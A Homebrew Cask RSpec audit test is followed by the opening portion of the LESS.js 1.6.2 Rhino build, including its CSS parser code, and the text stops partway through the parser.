require 'spec_helper' describe Hbc::Audit do describe "result" do it "is 'failed' if there are have been any errors added" do audit = Hbc::Audit.new(Hbc::Cask.new) audit.add_error 'bad' audit.add_warning 'eh' expect(audit.result).to match(/failed/) end it "is 'warning' if there are no errors, but there are warnings" do audit = Hbc::Audit.new(Hbc::Cask.new) audit.add_warning 'eh' expect(audit.result).to match(/warning/) end it "is 'passed' if there are no errors or warning" do audit = Hbc::Audit.new(Hbc::Cask.new) expect(audit.result).to match(/passed/) end end describe "run!" do describe "required fields" do it "adds an error if url is missing" do audit = Hbc::Audit.new(Hbc.load('missing-url')) audit.run! expect(audit.errors).to include('a url stanza is required') end it "adds an error if version is missing" do audit = Hbc::Audit.new(Hbc.load('missing-version')) audit.run! expect(audit.errors).to include('a version stanza is required') end it "adds an error if homepage is missing" do audit = Hbc::Audit.new(Hbc.load('missing-homepage')) audit.run! expect(audit.errors).to include('a homepage stanza is required') end it "adds an error if version is latest and using sha256" do audit = Hbc::Audit.new(Hbc.load('version-latest-with-checksum')) audit.run! expect(audit.errors).to include(%q{you should use sha256 :no_check when version is :latest}) end end describe "preferred download URL formats" do it "adds a warning if SourceForge doesn't use download subdomain" do warning_msg = 'SourceForge URL format incorrect. See https://github.com/caskroom/homebrew-cask/blob/master/CONTRIBUTING.md#sourceforge-urls' audit = Hbc::Audit.new(Hbc.load('sourceforge-incorrect-url-format')) audit.run! expect(audit.warnings).to include(warning_msg) audit = Hbc::Audit.new(Hbc.load('sourceforge-correct-url-format')) audit.run! expect(audit.warnings).to_not include(warning_msg) audit = Hbc::Audit.new(Hbc.load('sourceforge-other-correct-url-format')) audit.run! expect(audit.warnings).to_not include(warning_msg) end end describe "audit of downloads" do it "creates an error if the download fails" do error_message = "Download Failed" download = double() download.expects(:perform).raises(StandardError.new(error_message)) audit = Hbc::Audit.new(Hbc::Cask.new) audit.run!(download) expect(audit.errors).to include(/#{error_message}/) end end end end
katoquro/homebrew-cask
spec/cask/audit_spec.rb
Ruby
bsd-2-clause
2,772
/* LESS.js v1.6.2 RHINO | Copyright (c) 2009-2014, Alexis Sellier <self@cloudhead.net> */ // // Stub out `require` in rhino // function require(arg) { var split = arg.split('/'); var resultModule = split.length == 1 ? less.modules[split[0]] : less[split[1]]; if (!resultModule) { throw { message: "Cannot find module '" + arg + "'"}; } return resultModule; } if (typeof(window) === 'undefined') { less = {} } else { less = window.less = {} } tree = less.tree = {}; less.mode = 'rhino'; (function() { console = function() { var stdout = java.lang.System.out; var stderr = java.lang.System.err; function doLog(out, type) { return function() { var args = java.lang.reflect.Array.newInstance(java.lang.Object, arguments.length - 1); var format = arguments[0]; var conversionIndex = 0; // need to look for %d (integer) conversions because in Javascript all numbers are doubles for (var i = 1; i < arguments.length; i++) { var arg = arguments[i]; if (conversionIndex != -1) { conversionIndex = format.indexOf('%', conversionIndex); } if (conversionIndex >= 0 && conversionIndex < format.length) { var conversion = format.charAt(conversionIndex + 1); if (conversion === 'd' && typeof arg === 'number') { arg = new java.lang.Integer(new java.lang.Double(arg).intValue()); } conversionIndex++; } args[i-1] = arg; } try { out.println(type + java.lang.String.format(format, args)); } catch(ex) { stderr.println(ex); } } } return { log: doLog(stdout, ''), info: doLog(stdout, 'INFO: '), error: doLog(stderr, 'ERROR: '), warn: doLog(stderr, 'WARN: ') }; }(); less.modules = {}; less.modules.path = { join: function() { var parts = []; for (i in arguments) { parts = parts.concat(arguments[i].split(/\/|\\/)); } var result = []; for (i in parts) { var part = parts[i]; if (part === '..' && result.length > 0) { result.pop(); } else if (part === '' && result.length > 0) { // skip } else if (part !== '.') { if (part.slice(-1)==='\\' || part.slice(-1)==='/') { part = part.slice(0, -1); } result.push(part); } } return result.join('/'); }, dirname: function(p) { var path = p.split('/'); path.pop(); return path.join('/'); }, basename: function(p, ext) { var base = p.split('/').pop(); if (ext) { var index = base.lastIndexOf(ext); if (base.length === index + ext.length) { base = base.substr(0, index); } } return base; }, extname: function(p) { var index = p.lastIndexOf('.'); return index > 0 ? p.substring(index) : ''; } }; less.modules.fs = { readFileSync: function(name) { // read a file into a byte array var file = new java.io.File(name); var stream = new java.io.FileInputStream(file); var buffer = []; var c; while ((c = stream.read()) != -1) { buffer.push(c); } stream.close(); return { length: buffer.length, toString: function(enc) { if (enc === 'base64') { return encodeBase64Bytes(buffer); } else if (enc) { return java.lang.String["(byte[],java.lang.String)"](buffer, enc); } else { return java.lang.String["(byte[])"](buffer); } } }; } }; less.encoder = { encodeBase64: function(str) { return encodeBase64String(str); } }; // --------------------------------------------------------------------------------------------- // private helper functions // --------------------------------------------------------------------------------------------- function encodeBase64Bytes(bytes) { // requires at least a JRE Platform 6 (or JAXB 1.0 on the classpath) return javax.xml.bind.DatatypeConverter.printBase64Binary(bytes) } function encodeBase64String(str) { return encodeBase64Bytes(new java.lang.String(str).getBytes()); } })(); var less, tree; // Node.js does not have a header file added which defines less if (less === undefined) { less = exports; tree = require('./tree'); less.mode = 'node'; } // // less.js - parser // // A relatively straight-forward predictive parser. // There is no tokenization/lexing stage, the input is parsed // in one sweep. // // To make the parser fast enough to run in the browser, several // optimization had to be made: // // - Matching and slicing on a huge input is often cause of slowdowns. // The solution is to chunkify the input into smaller strings. // The chunks are stored in the `chunks` var, // `j` holds the current chunk index, and `currentPos` holds // the index of the current chunk in relation to `input`. // This gives us an almost 4x speed-up. // // - In many cases, we don't need to match individual tokens; // for example, if a value doesn't hold any variables, operations // or dynamic references, the parser can effectively 'skip' it, // treating it as a literal. // An example would be '1px solid #000' - which evaluates to itself, // we don't need to know what the individual components are. // The drawback, of course is that you don't get the benefits of // syntax-checking on the CSS. This gives us a 50% speed-up in the parser, // and a smaller speed-up in the code-gen. // // // Token matching is done with the `$` function, which either takes // a terminal string or regexp, or a non-terminal function to call. // It also takes care of moving all the indices forwards. // // less.Parser = function Parser(env) { var input, // LeSS input string i, // current index in `input` j, // current chunk temp, // temporarily holds a chunk's state, for backtracking memo, // temporarily holds `i`, when backtracking furthest, // furthest index the parser has gone to chunks, // chunkified input current, // current chunk currentPos, // index of current chunk, in `input` parser, parsers, rootFilename = env && env.filename; // Top parser on an import tree must be sure there is one "env" // which will then be passed around by reference. if (!(env instanceof tree.parseEnv)) { env = new tree.parseEnv(env); } var imports = this.imports = { paths: env.paths || [], // Search paths, when importing queue: [], // Files which haven't been imported yet files: env.files, // Holds the imported parse trees contents: env.contents, // Holds the imported file contents contentsIgnoredChars: env.contentsIgnoredChars, // lines inserted, not in the original less mime: env.mime, // MIME type of .less files error: null, // Error in parsing/evaluating an import push: function (path, currentFileInfo, importOptions, callback) { var parserImports = this; this.queue.push(path); var fileParsedFunc = function (e, root, fullPath) { parserImports.queue.splice(parserImports.queue.indexOf(path), 1); // Remove the path from the queue var importedPreviously = fullPath in parserImports.files || fullPath === rootFilename; parserImports.files[fullPath] = root; // Store the root if (e && !parserImports.error) { parserImports.error = e; } callback(e, root, importedPreviously, fullPath); }; if (less.Parser.importer) { less.Parser.importer(path, currentFileInfo, fileParsedFunc, env); } else { less.Parser.fileLoader(path, currentFileInfo, function(e, contents, fullPath, newFileInfo) { if (e) {fileParsedFunc(e); return;} var newEnv = new tree.parseEnv(env); newEnv.currentFileInfo = newFileInfo; newEnv.processImports = false; newEnv.contents[fullPath] = contents; if (currentFileInfo.reference || importOptions.reference) { newFileInfo.reference = true; } if (importOptions.inline) { fileParsedFunc(null, contents, fullPath); } else { new(less.Parser)(newEnv).parse(contents, function (e, root) { fileParsedFunc(e, root, fullPath); }); } }, env); } } }; function save() { temp = current; memo = currentPos = i; } function restore() { current = temp; currentPos = i = memo; } function sync() { if (i > currentPos) { current = current.slice(i - currentPos); currentPos = i; } } function isWhitespace(str, pos) { var code = str.charCodeAt(pos | 0); return (code <= 32) && (code === 32 || code === 10 || code === 9); } // // Parse from a token, regexp or string, and move forward if match // function $(tok) { var tokType = typeof tok, match, length; // Either match a single character in the input, // or match a regexp in the current chunk (`current`). // if (tokType === "string") { if (input.charAt(i) !== tok) { return null; } skipWhitespace(1); return tok; } // regexp sync (); if (! (match = tok.exec(current))) { return null; } length = match[0].length; // The match is confirmed, add the match length to `i`, // and consume any extra white-space characters (' ' || '\n') // which come after that. The reason for this is that LeSS's // grammar is mostly white-space insensitive. // skipWhitespace(length); if(typeof(match) === 'string') { return match; } else { return match.length === 1 ? match[0] : match; } } // Specialization of $(tok) function $re(tok) { if (i > currentPos) { current = current.slice(i - currentPos); currentPos = i; } var m = tok.exec(current); if (!m) { return null; } skipWhitespace(m[0].length); if(typeof m === "string") { return m; } return m.length === 1 ? m[0] : m; } var _$re = $re; // Specialization of $(tok) function $char(tok) { if (input.charAt(i) !== tok) { return null; } skipWhitespace(1); return tok; } function skipWhitespace(length) { var oldi = i, oldj = j, curr = i - currentPos, endIndex = i + current.length - curr, mem = (i += length), inp = input, c; for (; i < endIndex; i++) { c = inp.charCodeAt(i); if (c > 32) { break; } if ((c !== 32) && (c !== 10) && (c !== 9) && (c !== 13)) { break; } } current = current.slice(length + i - mem + curr); currentPos = i; if (!current.length && (j < chunks.length - 1)) { current = chunks[++j]; skipWhitespace(0); // skip space at the beginning of a chunk return true; // things changed } return oldi !== i || oldj !== j; } function expect(arg, msg) { // some older browsers return typeof 'function' for RegExp var result = (Object.prototype.toString.call(arg) === '[object Function]') ? arg.call(parsers) : $(arg); if (result) { return result; } error(msg || (typeof(arg) === 'string' ? "expected '" + arg + "' got '" + input.charAt(i) + "'" : "unexpected token")); } // Specialization of expect() function expectChar(arg, msg) { if (input.charAt(i) === arg) { skipWhitespace(1); return arg; } error(msg || "expected '" + arg + "' got '" + input.charAt(i) + "'"); } function error(msg, type) { var e = new Error(msg); e.index = i; e.type = type || 'Syntax'; throw e; } // Same as $(), but don't change the state of the parser, // just return the match. function peek(tok) { if (typeof(tok) === 'string') { return input.charAt(i) === tok; } else { return tok.test(current); } } // Specialization of peek() function peekChar(tok) { return input.charAt(i) === tok; } function getInput(e, env) { if (e.filename && env.currentFileInfo.filename && (e.filename !== env.currentFileInfo.filename)) { return parser.imports.contents[e.filename]; } else { return input; } } function getLocation(index, inputStream) { var n = index + 1, line = null, column = -1; while (--n >= 0 && inputStream.charAt(n) !== '\n') { column++; } if (typeof index === 'number') { line = (inputStream.slice(0, index).match(/\n/g) || "").length; } return { line: line, column: column }; } function getDebugInfo(index, inputStream, env) { var filename = env.currentFileInfo.filename; if(less.mode !== 'browser' && less.mode !== 'rhino') { filename = require('path').resolve(filename); } return { lineNumber: getLocation(index, inputStream).line + 1, fileName: filename }; } function LessError(e, env) { var input = getInput(e, env), loc = getLocation(e.index, input), line = loc.line, col = loc.column, callLine = e.call && getLocation(e.call, input).line, lines = input.split('\n'); this.type = e.type || 'Syntax'; this.message = e.message; this.filename = e.filename || env.currentFileInfo.filename; this.index = e.index; this.line = typeof(line) === 'number' ? line + 1 : null; this.callLine = callLine + 1; this.callExtract = lines[callLine]; this.stack = e.stack; this.column = col; this.extract = [ lines[line - 1], lines[line], lines[line + 1] ]; } LessError.prototype = new Error(); LessError.prototype.constructor = LessError; this.env = env = env || {}; // The optimization level dictates the thoroughness of the parser, // the lower the number, the less nodes it will create in the tree. // This could matter for debugging, or if you want to access // the individual nodes in the tree. this.optimization = ('optimization' in this.env) ? this.env.optimization : 1; // // The Parser // parser = { imports: imports, // // Parse an input string into an abstract syntax tree, // @param str A string containing 'less' markup // @param callback call `callback` when done. // @param [additionalData] An optional map which can contains vars - a map (key, value) of variables to apply // parse: function (str, callback, additionalData) { var root, line, lines, error = null, globalVars, modifyVars, preText = ""; i = j = currentPos = furthest = 0; globalVars = (additionalData && additionalData.globalVars) ? less.Parser.serializeVars(additionalData.globalVars) + '\n' : ''; modifyVars = (additionalData && additionalData.modifyVars) ? '\n' + less.Parser.serializeVars(additionalData.modifyVars) : ''; if (globalVars || (additionalData && additionalData.banner)) { preText = ((additionalData && additionalData.banner) ? additionalData.banner : "") + globalVars; parser.imports.contentsIgnoredChars[env.currentFileInfo.filename] = preText.length; } str = str.replace(/\r\n/g, '\n'); // Remove potential UTF Byte Order Mark input = str = preText + str.replace(/^\uFEFF/, '') + modifyVars; parser.imports.contents[env.currentFileInfo.filename] = str; // Split the input into chunks. chunks = (function (input) { var len = input.length, level = 0, parenLevel = 0, lastOpening, lastOpeningParen, lastMultiComment, lastMultiCommentEndBrace, chunks = [], emitFrom = 0, parserCurrentIndex, currentChunkStartIndex, cc, cc2, matched; function fail(msg, index) { error = new(LessError)({ index: index || parserCurrentIndex, type: 'Parse', message: msg, filename: env.currentFileInfo.filename }, env); } function emitChunk(force) { var len = parserCurrentIndex - emitFrom; if (((len < 512) && !force) || !len) { return; } chunks.push(input.slice(emitFrom, parserCurrentIndex + 1)); emitFrom = parserCurrentIndex + 1; } for (parserCurrentIndex = 0; parserCurrentIndex < len; parserCurrentIndex++) { cc = input.charCodeAt(parserCurrentIndex); if (((cc >= 97) && (cc <= 122)) || (cc < 34)) { // a-z or whitespace continue; } switch (cc) { case 40: // ( parenLevel++; lastOpeningParen = parserCurrentIndex; continue; case 41: // ) if (--parenLevel < 0) { return fail("missing opening `(`"); } continue; case 59: // ; if (!parenLevel) { emitChunk(); } continue; case 123: // { level++; lastOpening = parserCurrentIndex; continue; case 125: // } if (--level < 0) { return fail("missing opening `{`"); } if (!level) { emitChunk(); } continue; case 92: // \ if (parserCurrentIndex < len - 1) { parserCurrentIndex++; continue; } return fail("unescaped `\\`"); case 34: case 39: case 96: // ", ' and ` matched = 0; currentChunkStartIndex = parserCurrentIndex; for (parserCurrentIndex = parserCurrentIndex + 1; parserCurrentIndex < len; parserCurrentIndex++) { cc2 = input.charCodeAt(parserCurrentIndex); if (cc2 > 96) { continue; } if (cc2 == cc) { matched = 1; break; } if (cc2 == 92) { // \ if (parserCurrentIndex == len - 1) { return fail("unescaped `\\`"); } parserCurrentIndex++; } } if (matched) { continue; } return fail("unmatched `" + String.fromCharCode(cc) + "`", currentChunkStartIndex); case 47: // /, check for comment if (parenLevel || (parserCurrentIndex == len - 1)) { continue; } cc2 = input.charCodeAt(parserCurrentIndex + 1); if (cc2 == 47) { // //, find lnfeed for (parserCurrentIndex = parserCurrentIndex + 2; parserCurrentIndex < len; parserCurrentIndex++) { cc2 = input.charCodeAt(parserCurrentIndex); if ((cc2 <= 13) && ((cc2 == 10) || (cc2 == 13))) { break; } } } else if (cc2 == 42) { // /*, find */ lastMultiComment = currentChunkStartIndex = parserCurrentIndex; for (parserCurrentIndex = parserCurrentIndex + 2; parserCurrentIndex < len - 1; parserCurrentIndex++) { cc2 = input.charCodeAt(parserCurrentIndex); if (cc2 == 125) { lastMultiCommentEndBrace = parserCurrentIndex; } if (cc2 != 42) { continue; } if (input.charCodeAt(parserCurrentIndex + 1) == 47) { break; } } if (parserCurrentIndex == len - 1) { return fail("missing closing `*/`", currentChunkStartIndex); } parserCurrentIndex++; } continue; case 42: // *, check for unmatched */ if ((parserCurrentIndex < len - 1) && (input.charCodeAt(parserCurrentIndex + 1) == 47)) { return fail("unmatched `/*`"); } continue; } } if (level !== 0) { if ((lastMultiComment > lastOpening) && (lastMultiCommentEndBrace > lastMultiComment)) { return fail("missing closing `}` or `*/`", lastOpening); } else { return fail("missing closing `}`", lastOpening); } } else if (parenLevel !== 0) { return fail("missing closing `)`", lastOpeningParen); } emitChunk(true); return chunks; })(str); if (error) { return callback(new(LessError)(error, env)); } current = chunks[0]; // Start with the primary rule. // The whole syntax tree is held under a Ruleset node, // with the `root` property set to true, so no `{}` are // output. The callback is called when the input is parsed. try { root = new(tree.Ruleset)(null, this.parsers.primary()); root.root = true; root.firstRoot = true; } catch (e) { return callback(new(LessError)(e, env)); } root.toCSS = (function (evaluate) { return function (options, variables) { options = options || {}; var evaldRoot, css, evalEnv = new tree.evalEnv(options); // // Allows setting variables with a hash, so: // // `{ color: new(tree.Color)('#f01') }` will become: // // new(tree.Rule)('@color', // new(tree.Value)([ // new(tree.Expression)([ // new(tree.Color)('#f01') // ]) // ]) // ) // if (typeof(variables) === 'object' && !Array.isArray(variables)) { variables = Object.keys(variables).map(function (k) { var value = variables[k]; if (! (value instanceof tree.Value)) { if (! (value instanceof tree.Expression)) { value = new(tree.Expression)([value]); } value = new(tree.Value)([value]); } return new(tree.Rule)('@' + k, value, false, null, 0); }); evalEnv.frames = [new(tree.Ruleset)(null, variables)]; } try { var preEvalVisitors = [], visitors = [ new(tree.joinSelectorVisitor)(), new(tree.processExtendsVisitor)(), new(tree.toCSSVisitor)({compress: Boolean(options.compress)}) ], i, root = this; if (options.plugins) { for(i =0; i < options.plugins.length; i++) { if (options.plugins[i].isPreEvalVisitor) { preEvalVisitors.push(options.plugins[i]); } else { if (options.plugins[i].isPreVisitor) { visitors.splice(0, 0, options.plugins[i]); } else { visitors.push(options.plugins[i]); } } } } for(i = 0; i < preEvalVisitors.length; i++) { preEvalVisitors[i].run(root); } evaldRoot = evaluate.call(root, evalEnv); for(i = 0; i < visitors.length; i++) { visitors[i].run(evaldRoot); } if (options.sourceMap) { evaldRoot = new tree.sourceMapOutput( { contentsIgnoredCharsMap: parser.imports.contentsIgnoredChars, writeSourceMap: options.writeSourceMap, rootNode: evaldRoot, contentsMap: parser.imports.contents, sourceMapFilename: options.sourceMapFilename, sourceMapURL: options.sourceMapURL, outputFilename: options.sourceMapOutputFilename, sourceMapBasepath: options.sourceMapBasepath, sourceMapRootpath: options.sourceMapRootpath, outputSourceFiles: options.outputSourceFiles, sourceMapGenerator: options.sourceMapGenerator }); } css = evaldRoot.toCSS({ compress: Boolean(options.compress), dumpLineNumbers: env.dumpLineNumbers, strictUnits: Boolean(options.strictUnits), numPrecision: 8}); } catch (e) { throw new(LessError)(e, env); } if (options.cleancss && less.mode === 'node') { var CleanCSS = require('clean-css'), cleancssOptions = options.cleancssOptions || {}; if (cleancssOptions.keepSpecialComments === undefined) { cleancssOptions.keepSpecialComments = "*"; } cleancssOptions.processImport = false; cleancssOptions.noRebase = true; if (cleancssOptions.noAdvanced === undefined) { cleancssOptions.noAdvanced = true; } return new CleanCSS(cleancssOptions).minify(css); } else if (options.compress) { return css.replace(/(^(\s)+)|((\s)+$)/g, ""); } else { return css; } }; })(root.eval); // If `i` is smaller than the `input.length - 1`, // it means the parser wasn't able to parse the whole // string, so we've got a parsing error. // // We try to extract a \n delimited string, // showing the line where the parse error occured. // We split it up into two parts (the part which parsed, // and the part which didn't), so we can color them differently. if (i < input.length - 1) { i = furthest; var loc = getLocation(i, input); lines = input.split('\n'); line = loc.line + 1; error = { type: "Parse", message: "Unrecognised input", index: i, filename: env.currentFileInfo.filename, line: line, column: loc.column, extract: [ lines[line - 2], lines[line - 1], lines[line] ] }; } var finish = function (e) { e = error || e || parser.imports.error; if (e) { if (!(e instanceof LessError)) { e = new(LessError)(e, env); } return callback(e); } else { return callback(null, root); } }; if (env.processImports !== false) { new tree.importVisitor(this.imports, finish) .run(root); } else { return finish(); } }, // // Here in, the parsing rules/functions // // The basic structure of the syntax tree generated is as follows: // // Ruleset -> Rule -> Value -> Expression -> Entity // // Here's some LESS code: // // .class { // color: #fff; // border: 1px solid #000; // width: @w + 4px; // > .child {...} // } // // And here's what the parse tree might look like: // // Ruleset (Selector '.class', [ // Rule ("color", Value ([Expression [Color #fff]])) // Rule ("border", Value ([Expression [Dimension 1px][Keyword "solid"][Color #000]])) // Rule ("width", Value ([Expression [Operation "+" [Variable "@w"][Dimension 4px]]])) // Ruleset (Selector [Element '>', '.child'], [...]) // ]) // // In general, most rules will try to parse a token with the `$()` function, and if the return // value is truly, will return a new node, of the relevant type. Sometimes, we need to check // first, before parsing, that's when we use `peek()`. // parsers: parsers = { // // The `primary` rule is the *entry* and *exit* point of the parser. // The rules here can appear at any level of the parse tree. // // The recursive nature of the grammar is an interplay between the `block` // rule, which represents `{ ... }`, the `ruleset` rule, and this `primary` rule, // as represented by this simplified grammar: // // primary → (ruleset | rule)+ // ruleset → selector+ block // block → '{' primary '}' // // Only at one point is the primary rule not called from the // block rule: at the root level. // primary: function () { var mixin = this.mixin, $re = _$re, root = [], node; while (current) { node = this.extendRule() || mixin.definition() || this.rule() || this.ruleset() || mixin.call() || this.comment() || this.directive(); if (node) { root.push(node); } else { if (!($re(/^[\s\n]+/) || $re(/^;+/))) { break; } } } return root; }, // We create a Comment node for CSS comments `/* */`, // but keep the LeSS comments `//` silent, by just skipping // over them. comment: function () { var comment; if (input.charAt(i) !== '/') { return; } if (input.charAt(i + 1) === '/') { return new(tree.Comment)($re(/^\/\/.*/), true, i, env.currentFileInfo); } comment = $re(/^\/\*(?:[^*]|\*+[^\/*])*\*+\/\n?/); if (comment) { return new(tree.Comment)(comment, false, i, env.currentFileInfo); } }, comments: function () { var comment, comments = []; while(true) { comment = this.comment(); if (!comment) { break; } comments.push(comment); } return comments; }, // // Entities are tokens which can be found inside an Expression // entities: { // // A string, which supports escaping " and ' // // "milky way" 'he\'s the one!' // quoted: function () { var str, j = i, e, index = i; if (input.charAt(j) === '~') { j++; e = true; } // Escaped strings if (input.charAt(j) !== '"' && input.charAt(j) !== "'") { return; } if (e) { $char('~'); } str = $re(/^"((?:[^"\\\r\n]|\\.)*)"|'((?:[^'\\\r\n]|\\.)*)'/); if (str) { return new(tree.Quoted)(str[0], str[1] || str[2], e, index, env.currentFileInfo); } }, // // A catch-all word, such as: // // black border-collapse // keyword: function () { var k; k = $re(/^[_A-Za-z-][_A-Za-z0-9-]*/); if (k) { var color = tree.Color.fromKeyword(k); if (color) { return color; } return new(tree.Keyword)(k); } }, // // A function call // // rgb(255, 0, 255) // // We also try to catch IE's `alpha()`, but let the `alpha` parser // deal with the details. // // The arguments are parsed with the `entities.arguments` parser. // call: function () { var name, nameLC, args, alpha_ret, index = i; name = /^([\w-]+|%|progid:[\w\.]+)\(/.exec(current); if (!name) { return; } name = name[1]; nameLC = name.toLowerCase(); if (nameLC === 'url') { return null; } i += name.length; if (nameLC === 'alpha') { alpha_ret = parsers.alpha(); if(typeof alpha_ret !== 'undefined') { return alpha_ret; } } $char('('); // Parse the '(' and consume whitespace. args = this.arguments(); if (! $char(')')) { return; } if (name) { return new(tree.Call)(name, args, index, env.currentFileInfo); } }, arguments: function () { var args = [], arg; while (true) { arg = this.assignment() || parsers.expression(); if (!arg) { break; } args.push(arg); if (! $char(',')) { break; } } return args; }, literal: function () { return this.dimension() || this.color() || this.quoted() || this.unicodeDescriptor(); }, // Assignments are argument entities for calls. // They are present in ie filter properties as shown below. // // filter: progid:DXImageTransform.Microsoft.Alpha( *opacity=50* ) // assignment: function () { var key, value; key = $re(/^\w+(?=\s?=)/i); if (!key) { return; } if (!$char('=')) { return; } value = parsers.entity(); if (value) { return new(tree.Assignment)(key, value); } }, // // Parse url() tokens // // We use a specific rule for urls, because they don't really behave like // standard function calls. The difference is that the argument doesn't have // to be enclosed within a string, so it can't be parsed as an Expression. // url: function () { var value; if (input.charAt(i) !== 'u' || !$re(/^url\(/)) { return; } value = this.quoted() || this.variable() || $re(/^(?:(?:\\[\(\)'"])|[^\(\)'"])+/) || ""; expectChar(')'); return new(tree.URL)((value.value != null || value instanceof tree.Variable) ? value : new(tree.Anonymous)(value), env.currentFileInfo); }, // // A Variable entity, such as `@fink`, in // // width: @fink + 2px // // We use a different parser for variable definitions, // see `parsers.variable`. // variable: function () { var name, index = i; if (input.charAt(i) === '@' && (name = $re(/^@@?[\w-]+/))) { return new(tree.Variable)(name, index, env.currentFileInfo); } }, // A variable entity useing the protective {} e.g. @{var} variableCurly: function () { var curly, index = i; if (input.charAt(i) === '@' && (curly = $re(/^@\{([\w-]+)\}/))) { return new(tree.Variable)("@" + curly[1], index, env.currentFileInfo); } }, // // A Hexadecimal color // // #4F3C2F // // `rgb` and `hsl` colors are parsed through the `entities.call` parser. // color: function () { var rgb; if (input.charAt(i) === '#' && (rgb = $re(/^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})/))) { return new(tree.Color)(rgb[1]); } }, // // A Dimension, that is, a number and a unit // // 0.5em 95% // dimension: function () { var value, c = input.charCodeAt(i); //Is the first char of the dimension 0-9, '.', '+' or '-' if ((c > 57 || c < 43) || c === 47 || c == 44) { return; } value = $re(/^([+-]?\d*\.?\d+)(%|[a-z]+)?/); if (value) { return new(tree.Dimension)(value[1], value[2]); } }, // // A unicode descriptor, as is used in unicode-range // // U+0?? or U+00A1-00A9 // unicodeDescriptor: function () { var ud; ud = $re(/^U\+[0-9a-fA-F?]+(\-[0-9a-fA-F?]+)?/); if (ud) { return new(tree.UnicodeDescriptor)(ud[0]); } }, // // JavaScript code to be evaluated // // `window.location.href` // javascript: function () { var str, j = i, e; if (input.charAt(j) === '~') { j++; e = true; } // Escaped strings if (input.charAt(j) !== '`') { return; } if (env.javascriptEnabled !== undefined && !env.javascriptEnabled) { error("You are using JavaScript, which has been disabled."); } if (e) { $char('~'); } str = $re(/^`([^`]*)`/); if (str) { return new(tree.JavaScript)(str[1], i, e); } } }, // // The variable part of a variable definition. Used in the `rule` parser // // @fink: // variable: function () { var name; if (input.charAt(i) === '@' && (name = $re(/^(@[\w-]+)\s*:/))) { return name[1]; } }, // // extend syntax - used to extend selectors // extend: function(isRule) { var elements, e, index = i, option, extendList, extend; if (!(isRule ? $re(/^&:extend\(/) : $re(/^:extend\(/))) { return; } do { option = null; elements = null; while (! (option = $re(/^(all)(?=\s*(\)|,))/))) { e = this.element(); if (!e) { break; } if (elements) { elements.push(e); } else { elements = [ e ]; } } option = option && option[1]; extend = new(tree.Extend)(new(tree.Selector)(elements), option, index); if (extendList) { extendList.push(extend); } else { extendList = [ extend ]; } } while($char(",")); expect(/^\)/); if (isRule) { expect(/^;/); } return extendList; }, // // extendRule - used in a rule to extend all the parent selectors // extendRule: function() { return this.extend(true); }, // // Mixins // mixin: { // // A Mixin call, with an optional argument list // // #mixins > .square(#fff); // .rounded(4px, black); // .button; // // The `while` loop is there because mixins can be // namespaced, but we only support the child and descendant // selector for now. // call: function () { var s = input.charAt(i), important = false, index = i, elemIndex, elements, elem, e, c, args; if (s !== '.' && s !== '#') { return; } save(); // stop us absorbing part of an invalid selector while (true) { elemIndex = i; e = $re(/^[#.](?:[\w-]|\\(?:[A-Fa-f0-9]{1,6} ?|[^A-Fa-f0-9]))+/); if (!e) { break; } elem = new(tree.Element)(c, e, elemIndex, env.currentFileInfo); if (elements) { elements.push(elem); } else { elements = [ elem ]; } c = $char('>'); } if (elements) { if ($char('(')) { args = this.args(true).args; expectChar(')'); } if (parsers.important()) { important = true; } if (parsers.end()) { return new(tree.mixin.Call)(elements, args, index, env.currentFileInfo, important); } } restore(); }, args: function (isCall) { var parsers = parser.parsers, entities = parsers.entities, returner = { args:null, variadic: false }, expressions = [], argsSemiColon = [], argsComma = [], isSemiColonSeperated, expressionContainsNamed, name, nameLoop, value, arg; while (true) { if (isCall) { arg = parsers.expression(); } else { parsers.comments(); if (input.charAt(i) === '.' && $re(/^\.{3}/)) { returner.variadic = true; if ($char(";") && !isSemiColonSeperated) { isSemiColonSeperated = true; } (isSemiColonSeperated ? argsSemiColon : argsComma) .push({ variadic: true }); break; } arg = entities.variable() || entities.literal() || entities.keyword(); } if (!arg) { break; } nameLoop = null; if (arg.throwAwayComments) { arg.throwAwayComments(); } value = arg; var val = null; if (isCall) { // Variable if (arg.value.length == 1) { val = arg.value[0]; } } else { val = arg; } if (val && val instanceof tree.Variable) { if ($char(':')) { if (expressions.length > 0) { if (isSemiColonSeperated) { error("Cannot mix ; and , as delimiter types"); } expressionContainsNamed = true; } value = expect(parsers.expression); nameLoop = (name = val.name); } else if (!isCall && $re(/^\.{3}/)) { returner.variadic = true; if ($char(";") && !isSemiColonSeperated) { isSemiColonSeperated = true; } (isSemiColonSeperated ? argsSemiColon : argsComma) .push({ name: arg.name, variadic: true }); break; } else if (!isCall) { name = nameLoop = val.name; value = null; } } if (value) { expressions.push(value); } argsComma.push({ name:nameLoop, value:value }); if ($char(',')) { continue; } if ($char(';') || isSemiColonSeperated) { if (expressionContainsNamed) { error("Cannot mix ; and , as delimiter types"); } isSemiColonSeperated = true; if (expressions.length > 1) { value = new(tree.Value)(expressions); } argsSemiColon.push({ name:name, value:value }); name = null; expressions = []; expressionContainsNamed = false; } } returner.args = isSemiColonSeperated ? argsSemiColon : argsComma; return returner; }, // // A Mixin definition, with a list of parameters // // .rounded (@radius: 2px, @color) { // ... // } // // Until we have a finer grained state-machine, we have to // do a look-ahead, to make sure we don't have a mixin call. // See the `rule` function for more information. // // We start by matching `.rounded (`, and then proceed on to // the argument list, which has optional default values. // We store the parameters in `params`, with a `value` key, // if there is a value, such as in the case of `@radius`. // // Once we've got our params list, and a closing `)`, we parse // the `{...}` block. // definition: function () { var name, params = [], match, ruleset, cond, variadic = false; if ((input.charAt(i) !== '.' && input.charAt(i) !== '#') || peek(/^[^{]*\}/)) { return; } save(); match = $re(/^([#.](?:[\w-]|\\(?:[A-Fa-f0-9]{1,6} ?|[^A-Fa-f0-9]))+)\s*\(/); if (match) { name = match[1]; var argInfo = this.args(false); params = argInfo.args; variadic = argInfo.variadic; // .mixincall("@{a}"); // looks a bit like a mixin definition.. so we have to be nice and restore if (!$char(')')) { furthest = i; restore(); } parsers.comments(); if ($re(/^when/)) { // Guard cond = expect(parsers.conditions, 'expected condition'); } ruleset = parsers.block(); if (ruleset) { return new(tree.mixin.Definition)(name, params, ruleset, cond, variadic); } else { restore(); } } } }, // // Entities are the smallest recognized token, // and can be found inside a rule's value. // entity: function () { var entities = this.entities; return entities.literal() || entities.variable() || entities.url() || entities.call() || entities.keyword() || entities.javascript() || this.comment(); }, // // A Rule terminator. Note that we use `peek()` to check for '}', // because the `block` rule will be expecting it, but we still need to make sure // it's there, if ';' was 